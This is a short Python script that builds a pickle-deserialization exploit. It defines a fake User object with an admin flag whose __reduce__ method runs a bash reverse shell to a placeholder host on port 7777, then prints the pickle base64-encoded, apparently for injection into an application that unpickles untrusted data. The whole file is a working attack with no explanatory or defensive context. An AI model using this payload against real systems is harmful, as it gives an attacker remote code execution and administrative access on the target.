#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())